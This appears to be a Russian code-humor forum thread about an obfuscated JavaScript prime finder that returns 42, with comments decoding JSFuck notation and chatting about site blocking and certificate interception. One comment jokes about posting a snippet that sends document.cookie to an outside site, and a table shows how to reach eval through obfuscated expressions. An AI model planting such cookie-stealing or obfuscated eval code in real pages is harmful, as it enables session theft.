1. JavaScript / Говнокод #17222

    +161

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    function kevinTheNumberMentioner(_){
      l=[]
      /* mostly harmless --> */ with(l) {
      	
      	//Sorry about all this, my babel fish has a headache today...
      	for (ll=!+[]+!![];ll<_+(+!![]);ll++) {
      	  lll=+!![];
      	  while (ll%++lll);
      	  //I've got this terrible pain in all the semicolons down my right-hand side
      	  (ll==lll)&&push(ll);
      	}
      	forEach(alert);
      	
      }
      
      //You're really not going to like this...
      return [!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]];
    }

    Открыл твитор, а там - это.

    http://arstechnica.com/information-technology/2014/11/holiday-reading-for-a-certain-sort-if-hemingway-wrote-javascript/

    Запостил: Xom94ok, 30 Ноября 2014

    Комментарии (67) RSS

    • Говнокод #17222 возвращает 42.
      Нда...
      Ответить
      • Это что получается, миссия говнокода завершена? o_O
        Ответить
        • Кстати, очень не хватает кнопки [Выполнить].
          Ответить
          • Скопируй в консольку браузера да выполни ;)

            http://ideone.com/fdVU1v
            Ответить
          • Набросал мелкую питушню:
            https://github.com/1024--/govnokod.ru-userscripts/blob/master/execjs.user.js
            Вот как она выглядит:
            http://s7.hostingkartinok.com/uploads/images/2014/12/23468c95ea94e220af9b765b8ca2d667.png
            Ответить
            • Пойду запощу говнокод про $.post("http://my-site", {cookies: document.cookie;})
              Ответить
              • Можно ещё воспользоваться техникой из http://habrahabr.ru/post/243351/

                P.S. Скрипт жёстко пофиксил.
                Ответить
                • > alert('Выполнять всякую хрень опасно!');
                  > return false;
                  Какой полезный скрипт...
                  Ответить
                  • LOL. Я тоже был немного озадачен "фиксом".
                    Хотя бы confirm.
                    Ответить
                • > техникой из <ссылка проверяется модератором>
                  Сурово. Но декодер один хрен нужен, а его присутствие намекает на то, что тут что-то скрыто...
                  Ответить
                  • А в ништячке (в конце статьи) выражение очень похоже на строку. Если на ГК запороть подсветку кода, можно будет подумать, что автор кода скопировал то, что передавали в eval в каком-то скрипте.
                    Ответить
            • Что-то случилось с гитхабом? (у меня со вчерашнего дня не отвечает)
              Ответить
              • роспотребнадзор случился
                Ответить
                • Не. В общем, это местечковый провайдер хулиганит...
                  PS. Вообще-то, таки случился.
                  Ответить
              • Да опять какой-то придурок репу про суициды залил, а далеко не все провайдеры могут банить по URL'ам.

                Ссылка на репозиторий удалена по требованию роскомнадзора
                Ответить
                • 1024-- набросал мелкую петушню - гитхаб забанили...
                  Ответить
                • Блин, а забавные там стишки о суициде, ржали всем отделом ;)

                  Ссылка удалена по требованию роскомнадзора
                  Ответить
                  • Интересно если какое-нить конардо завайпает сайт suicide.txt ГК прикроют?
                    Я думаю это неплохой дабл пиар.
                    Ответить
                    • Страйко удалит...
                      Ответить
                      • Удалить то удалит. Но перед этим попеарит сайт.
                        Бугага.
                        Роскомнадзор - мы предоставляем услуги по бесплатной раскрутке сайтов.
                        Ответить
                • > далеко не все провайдеры могут банить по URL'ам

                  Особенно, когда ссылка начинается с https://
                  Ответить
                  • Ну тот же ростелеком раньше MITM'ом страдал, подсовывая свой серт вместо настоящего.
                    Ответить
                    • >>подсовывая свой серт вместо настоящего.
                      Ебануться бляди! Одного этого факта достаточно чтоб больше ими никогда не пользоваться.
                      Ответить
                    • Пруф. Чем кончилось?
                      Ответить
                      • Ну как я тебе пруф дам? Вчера 80 и 443й порты гитхаба тупо дропали пакеты. 22й работал нормально (т.е. git push/git pull вполне работали без всяких проксей).

                        Несколько месяцев назад ради теста заходил на запрещенный сайт по https, и мозила вопила о том, что сертификат не соответствует домену. Если принять серт - выдавал обычную табличку о том, что доступ к сайту заблокирован по требованию соотв. органов. Об этом вроде бы на хабре и бордах несколько раз упоминали. Лень искать. На хабре, емнип, даже нажаловались на этот серт его издателю.
                        Ответить
                    • Ещё одна причина в пользу велосипедного шифрования. Надеюсь недавно запущенный отечественный Скайнет не болеет всякой подобной хуитой.
                      Ответить
                      • еще одна причина поставить плагин который выдавал бы сразу же второе от корня имя в сертификате. И если там ростелегом -- сразу же болкировал бы сайт.
                        Ответить
                        • Если это действиетльно было так - долбать УЦ чтобы отозвал сертификат митмера, вроде для митма сертификаты не выдают? :)
                          Ответить
                          • Вот кстати да.

                            Ну тут одно из двух: или юзер поставил МИТМовый серт в доверенные, или тафт с верисайном продались дьяволу и выдали ростелегому серт на домен, коий им не принадлжыт.

                            Так как оба варианта маловероятны, реквестую Борманда в тред: нехай разъяснит детали
                            Ответить
                        • сатиристический_рассказ_о_продаже_оружия_одному_правителю_и_продаже_защиты_от_него_другому.txt
                          к сожалению память уже не та
                          Ответить
                        • Зачем плагин то? Тот же ФФ изкоробки на такие сайты не пускает, ибо имя сайта не соответствует имени домена. Так что, походу, попытка была неудачной и они от этой ебанутой идеи отказались.
                          Ответить
      • Чушь какая-то.

        +[]=0
        !(+[])=true
        true+true+true+true=4
        [!+[]+!+[]+!+[]+!+[]] + [!+[]+!+[]] = [4]+[2]
        И что тут смешного? Плакать надо.
        Ответить
        • Спасибо за расшифровку для того, кто в танке. Мне подумалось, что расписав код по кругу, можно вызвать дьявола :)
          > Плакать надо.
          > > Если бы Хемингуэй писал на JavaScript
          Тут, похоже, не плакать надо, а вдумчиво дрочить медитировать над книгой ;)
          Ответить
          • Мда. Думал что меня наоборот - заминусуют за копетанство.
            Ответить
            • Программист - это компромисс между оптимизационной ленью и желанием активно использовать мозг.
              В данном случае лень перевешивает.
              Ответить
              • Так ладно что заметен паттерн: 4 раза и потом 2.
                Но ведь http://www.jsfuck.com/ известен в узких кругах.
                false       =>  ![]
                true        =>  !![]
                undefined   =>  [][[]]
                NaN         =>  +[![]]
                0           =>  +[]
                1           =>  +!+[]
                2           =>  !+[]+!+[]
                10          =>  [+!+[]]+[+[]]
                Array       =>  []
                Number      =>  +[]
                String      =>  []+[]
                Boolean     =>  ![]
                Function    =>  []["filter"]
                eval        =>  []["filter"]["constructor"]( CODE )()
                window      =>  []["filter"]["constructor"]("return this")()
                Ответить
                • > 10 => [+!+[]]+[+[]]
                  Фу, читерство. И в обсуждаемом ГК тоже в конце строка, как будто лишнего плюса и скобочек жалко.

                  P.S.
                  > Function => []["filter"]
                  []["filter"]["constructor"]
                  Ответить
                • Программирование на массивах.
                  Ответить
                • Кажется, у Ook, Brainfuck, и Whitespace появился достойный конкурент
                  Ответить
              • > while (ll%++lll);
                > (ll==lll)&&push(ll);
                Я вот по этой штуке предположил, что это что-то типа наивного поиска простых чисел. Но разбирать остальной говнокод с +[] было лень. Поэтому я тупо открыл статью, и узнал, что это действительно поиск простых чисел.
                Ответить
                • Я там табличку добавил, схороните/напечатайте для быстрого парсинга подобного.
                  Деобфускатор тут
                  https://github.com/aemkei/jsfuck/blob/master/jsfuck.js

                  Function => []["filter"]
                  Тут они конечно затупили
                  Я бы сделал []["join"] или даже []["pop"]
                  Ответить
                  • А почему filter, а не map? map же короче.
                    Ответить
                    • >а не map? map же короче.
                      А я что дальше написал?
                      Проблема в том что pop поддерживается большим числом браузеров чем map. (Пользователи старых ишаков тоже хотят запускать непонятные коды)
                      Ответить
                      • > А я что дальше написал?
                        Когда я писал про map - я этот апдейт еще не видел.

                        Олсо - раз нам "constructor" один хер собирать, может можно поюзать []["constructor"]["constructor"], если как-то удастся его упихать в переменную?
                        Ответить
                        • Мне еще нравится как они буквы достают
                          (!![]+"")[0]==t
                          (![]+"")[0]==f
                          Можно было сделать так:
                          (!![]+"").length+[!+[]+!+[]]==42
                          Ответить
                  • Кстати, filter походу выбран из-за того, что его можно сложить из false, true и undefined! map и pop из скобок так просто не собрать, а у jsfuck жесткое ограничение на символы.
                    Ответить
                    • >map и pop из скобок так просто не собрать, а у jsfuck жесткое ограничение на символы.
                      Хм. Действительно. Хотя надо подумать можно ли в чарах.

                      Не надо забывать про слова из typeof
                      Ответить
                      • Но как мы его вызовем, если допустимые символы - []()+!
                        Ответить
                        • Да. Забылся.
                          А еще у строки есть методы. sup, sub, trim -
                          Особенно хорош trim

                          tri - есть и в filter и в trim
                          fe = '(false+"")[0]','(true+"")[3]',
                          'm' = '((+[])+"")[11]',
                          Ответить
                        • Если try-catch можно, то можно еще слов наковырять, но будет сильно браузеро-зависимо.
                          Ответить
                • Поскольку я раньше видел подобные фокусы, то знал, что там может быть всё, что угодно, и для разгадки потребуется снять с кода три-четыре шкуры. Я посмотрел на всё это как на абстрактную картину и пошёл к своему коду, умолявшему меня вылечить его от тяжёлого бага.
                  Ответить
    • > (ll==lll)&&push(ll);
      Скриптовик скриптовика видит из далека
      Ответить
      • > из далека
        потому стороной и обходит.
        издалека - откуда? наречие. пишется слитно
        Ответить
    • В JS есть with?
      Ответить
      • С добрым утром.
        Ответить
      • with, goto и arguments.caller.arguments - секретные возможности языка, которые неплохо бы выпилить.
        Ответить
      • Эта говноконструкция там с рождения есть. Но она опасна и нинужна. Даже авторы языка это признали и запретили на strict'е.
        Ответить
        • x нинужно значит, что x нет и от этого пригорает.
          Ответить
          • Что? Борманд страдает от того, что в C++ нет with? Какая новость, об этом должны знать все газеты!
            Ответить
      • 12.10

        http://www.ecma-international.org/ecma-262/5.1/#sec-12.10
        Ответить
    • что это вообще такое?
      Ответить

    Добавить комментарий